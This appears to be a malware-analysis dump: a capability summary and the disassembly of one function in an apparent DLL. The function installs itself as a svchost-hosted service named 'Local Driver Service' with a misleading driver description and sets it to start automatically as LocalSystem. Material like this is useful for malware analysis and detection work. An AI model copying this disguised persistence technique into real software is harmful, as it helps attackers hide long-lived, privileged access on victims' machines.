Function at 0x10007450
Capabilities:
Create service
Modify service
Persist via windows service
Query service status
Start service

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020bcb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xd88
mov eax, dword [0x101b600c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x208
lea eax, [ebp - 0x85c]
push 0
push eax
call fcn.100106a0
add esp, 0xc
mov dword [ebp - 0x654], 0
mov dword [ebp - 0x860], 0x80000002
call fcn.10006100
mov ecx, dword [ebp - 0x654]
test al, al
mov edx, 0x200
cmovne ecx, edx
mov dword [ebp - 0x654], ecx
lea ecx, [ebp - 0x968]
push 0x101b1210
call fcn.10006f90
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
lea eax, [ebp - 0x85c]
mov dword [ebp - 4], 0
push 0x104
push eax
mov dword [ebp - 0x860], 0x80000002
call fcn.10015598
add esp, 0xc
lea ecx, [ebp - 0x860]
push str.LocalDriverService
call fcn.100058c0
test al, al
je 0x10007543
push 0x12
push str.LDrvSvc
push str.LocalDriverService
lea ecx, [ebp - 0x860]
call fcn.10005ea0
test al, al
jne 0x100075ff
push 0x12
push str.LDrvSvc
push 7
push str.LocalDriverService
lea ecx, [ebp - 0x860]
call fcn.10005940
movzx eax, al
neg eax
sbb eax, eax
add eax, 3
cmp eax, 3
jb 0x100075ff
mov esi, dword [0x101b7488]
test esi, esi
jne 0x100075c4
push 0x124
call fcn.1000da7d
add esp, 4
mov esi, eax
mov dword [ebp - 0xd88], esi
push 0x104
lea ecx, [esi + 4]
mov dword [esi], 0
push 0
push ecx
mov dword [esi + 0x108], 0xffffffff
call fcn.100106a0
add esp, 0xc
lea eax, [esi + 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x101b7488], esi
push str.LDrvSvc
push str.LocalDriverService
push str.error_reg.CmpAndSetMuStringValue__S___S_.
push 0
push 0x101b1210
push str.......project_base_svcdllmain.cpp
push 0x9f
push esi
call fcn.10002fc0
add esp, 0x20
lea ecx, [ebp - 0x968]
call fcn.10007040
xor al, al
jmp 0x10007d76
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
mov dword [ebp - 0xd84], esi
test esi, esi
jne 0x1000770e
mov esi, dword [0x101b7488]
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
test esi, esi
jne 0x10007675
push 0x124
call fcn.1000da7d
add esp, 4
mov esi, eax
mov dword [ebp - 0xd88], esi
push 0x104
lea ecx, [esi + 4]
mov dword [esi], 0
push 0
push ecx
mov dword [esi + 0x108], 0xffffffff
call fcn.100106a0
add esp, 0xc
lea eax, [esi + 0x10c]
push eax
call edi
mov dword [0x101b7488], esi
push str.error_OpenSCManager.
push 0
push 0x101b1210
push str.......project_base_svcdllmain.cpp
push 0xa6
push esi
call fcn.10002fc0
mov esi, dword [0x101b7488]
add esp, 0x18
test esi, esi
jne 0x100076e5
push 0x124
call fcn.1000da7d
add esp, 4
mov esi, eax
mov dword [ebp - 0xd84], esi
push 0x104
lea eax, [esi + 4]
mov dword [esi], 0
push 0
push eax
mov dword [esi + 0x108], 0xffffffff
call fcn.100106a0
add esp, 0xc
lea eax, [esi + 0x10c]
push eax
call edi
mov dword [0x101b7488], esi
push 0x101b1210
push str.......project_base_svcdllmain.cpp
push 0xa6
push ecx
mov ecx, esi
call fcn.100033f0
lea ecx, [ebp - 0x968]
call fcn.10007040
xor al, al
jmp 0x10007d76
push 0x208
lea eax, [ebp - 0x630]
push 0
push eax
call fcn.100106a0
add esp, 0xc
lea eax, [ebp - 0x630]
push str._SystemRoot_System32_svchost.exe__k
push 0x104
push eax
call fcn.10015598
add esp, 0xc
lea eax, [ebp - 0x630]
push str.LocalDriverService
push 0x104
push eax
call fcn.1001523c
add esp, 0xc
push 0xf01ff
push str.LDrvSvc
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x100078c5
push eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x630]
push eax
push 1
push 2
push 0x20
push 0xf01ff
push str.Local_Driver_Service
push str.LDrvSvc
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov edi, eax
test edi, edi
jne 0x100078ab
mov esi, dword [0x101b7488]
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
test esi, esi
jne 0x100077fa
push 0x124
call fcn.1000da7d
add esp, 4
mov esi, eax
mov dword [ebp - 0xd80], esi
push 0x104
lea ecx, [esi + 4]
mov dword [esi], 0
push 0
push ecx
mov dword [esi + 0x108], 0xffffffff
call fcn.100106a0
add esp, 0xc
lea eax, [esi + 0x10c]
push eax
call edi
mov dword [0x101b7488], esi
lea eax, [ebp - 0x630]
push eax
push str.LDrvSvc
push str.error_CreateService__S___S_
push 0
push 0x101b1210
push str.......project_base_svcdllmain.cpp
push 0xb7
push esi
call fcn.10002fc0
mov esi, dword [0x101b7488]
add esp, 0x20
test esi, esi
jne 0x10007876
push 0x124
call fcn.1000da7d
add esp, 4
mov esi, eax
mov dword [ebp - 0xd94], esi
push 0x104
lea eax, [esi + 4]
mov dword [esi], 0
push 0
push eax
mov dword [esi + 0x108], 0xffffffff
call fcn.100106a0
add esp, 0xc
lea eax, [esi + 0x10c]
push eax
call edi
mov dword [0x101b7488], esi
push 0x101b1210
push str.......project_base_svcdllmain.cpp
push 0xb7
push ecx
mov ecx, esi
call fcn.100033f0
push dword [ebp - 0xd84]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea ecx, [ebp - 0x968]
call fcn.10007040
xor al, al
jmp 0x10007d76
lea eax, [ebp - 0xd88]
mov dword [ebp - 0xd88], str.System_device_driver_service._Any_reliant_services_would_be_disabled_without_it_turning_on.
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
mov ecx, edi
call fcn.10007300
push 0x208
lea eax, [ebp - 0x428]
push 0
push eax
call fcn.100106a0
add esp, 0xc
lea eax, [ebp - 0x428]
push 0x104
push eax
push dword [0x101b74ac]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x208
lea eax, [ebp - 0x220]
push 0
push eax
call fcn.100106a0
add esp, 0xc
lea eax, [ebp - 0x220]
push str.SYSTEMCurrentControlSetServices_
push 0x104
push eax
call fcn.10015598
add esp, 0xc
lea eax, [ebp - 0x220]
push str.LDrvSvc
push 0x104
push eax
call fcn.1001523c
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x85c]
push 0x104
push eax
call fcn.10015598
add esp, 0xc
lea ecx, [ebp - 0x860]
push str.DeleteFlag
call fcn.100058c0
test al, al
je 0x10007981
push str.DeleteFlag
lea ecx, [ebp - 0x860]
call fcn.10005c30
push str.Group
lea ecx, [ebp - 0x860]
call fcn.100058c0
test al, al
je 0x100079a5
push str.Group
lea ecx, [ebp - 0x860]
call fcn.10005c30
push str.Description
lea ecx, [ebp - 0x860]
call fcn.100058c0
test al, al
jne 0x100079d5
push 0xb8
push str.System_device_driver_service._Any_reliant_services_would_be_disabled_without_it_turning_on.
push 1
push str.Description
lea ecx, [ebp - 0x860]
call fcn.10005940
push str.DisplayName
lea ecx, [ebp - 0x860]
call fcn.100058c0
test al, al
jne 0x100079fe
push str.Local_Driver_Service
push str.DisplayName
lea ecx, [ebp - 0x860]
call fcn.10006000
push str.ErrorControl
lea ecx, [ebp - 0x860]
mov dword [ebp - 0xd8c], 1
call fcn.100058c0
test al, al
je 0x10007a39
push 4
lea eax, [ebp - 0xd8c]
push eax
push str.ErrorControl
lea ecx, [ebp - 0x860]
call fcn.10005ea0
test al, al
jne 0x10007a54
push 4
lea eax, [ebp - 0xd8c]
push eax
push 4
push str.ErrorControl
lea ecx, [ebp - 0x860]
call fcn.10005940
lea eax, [ebp - 0x630]
push eax
push str.ImagePath
lea ecx, [ebp - 0x860]
call fcn.10006080
push str.LocalSystem
push str.ObjectName
lea ecx, [ebp - 0x860]
call fcn.10006000
push str.Start
lea ecx, [ebp - 0x860]
mov dword [ebp - 0xd90], 2
call fcn.100058c0
test al, al
je 0x10007abb
push 4
lea eax, [ebp - 0xd90]
push eax
push str.Start
lea ecx, [ebp - 0x860]
call fcn.10005ea0
test al, al
jne 0x10007ad6
push 4
lea eax, [ebp - 0xd90]
push eax
push 4
push str.Start
lea ecx, [ebp - 0x860]
call fcn.10005940
push str.Type
lea ecx, [ebp - 0x860]
mov dword [ebp - 0xd80], 0x20
call fcn.100058c0
test al, al
je 0x10007b11
push 4
lea eax, [ebp - 0xd80]
push eax
push str.Type
lea ecx, [ebp - 0x860]
call fcn.10005ea0
test al, al
jne 0x10007b2c
push 4
lea eax, [ebp - 0xd80]
push eax
push 4
push str.Type
lea ecx, [ebp - 0x860]
call fcn.10005940
call fcn.10006100
test al, al
je 0x10007b47
push 1
push str.WOW64
lea ecx, [ebp - 0x860]
call fcn.10005fa0
push str.Parameters
lea eax, [ebp - 0x220]
push 0x104
push eax
call fcn.1001523c
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x85c]
push 0x104
push eax
call fcn.10015598
add esp, 0xc
lea eax, [ebp - 0x428]
lea ecx, [ebp - 0x860]
push eax
push str.ServiceDll
call fcn.10006080
cmp eax, 3
jl 0x10007bc9
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x220]
push eax
push str.error_reg.CmpAndSetExStringValue__S__ServiceDll___S_.
push 0
push 0x101b1210
push str.......project_base_svcdllmain.cpp
push 0xe1
call fcn.10002d70
push eax
call fcn.10002fc0
add esp, 0x20
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
sub esp, 8
lea ecx, [ebp - 0xd78]
call fcn.100062c0
lea ecx, [ebp - 0x428]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10007bf0
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x428]
push eax
sub esp, 8
lea ecx, [ebp - 0xd78]
call fcn.10006350
lea eax, [ebp - 0x64c]
mov byte [ebp - 0xd79], 1
xorps xmm0, xmm0
mov dword [ebp - 0x64c], 0
push eax
push edi
movups xmmword [ebp - 0x648], xmm0
movq qword [ebp - 0x638], xmm0
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x648], 4
je 0x10007d54
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x10007d54
mov esi, dword [0x101b7488]
test esi, esi
jne 0x10007cc2
push 0x124
call fcn.1000da7d
add esp, 4
mov esi, eax
mov dword [ebp - 0xd94], esi
push 0x104
lea ecx, [esi + 4]
mov dword [esi], 0
push 0
push ecx
mov dword [esi + 0x108], 0xffffffff
call fcn.100106a0
add esp, 0xc
lea eax, [esi + 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x101b7488], esi
push str.error_StartService
push 0
push 0x101b1210
push str.......project_base_svcdllmain.cpp
push 0xf4
push esi
call fcn.10002fc0
mov esi, dword [0x101b7488]
add esp, 0x18
test esi, esi
jne 0x10007d36
push 0x124
call fcn.1000da7d
add esp, 4
mov esi, eax
mov dword [ebp - 0xd94], esi
push 0x104
lea eax, [esi + 4]
mov dword [esi], 0
push 0
push eax
mov dword [esi + 0x108], 0xffffffff
call fcn.100106a0
add esp, 0xc
lea eax, [esi + 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x101b7488], esi
push 0x101b1210
push str.......project_base_svcdllmain.cpp
push 0xf4
push ecx
mov ecx, esi
call fcn.100033f0
mov byte [ebp - 0xd79], 0
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
push dword [ebp - 0xd84]
call esi
lea ecx, [ebp - 0x968]
call fcn.10007040
mov al, byte [ebp - 0xd79]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000da67
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret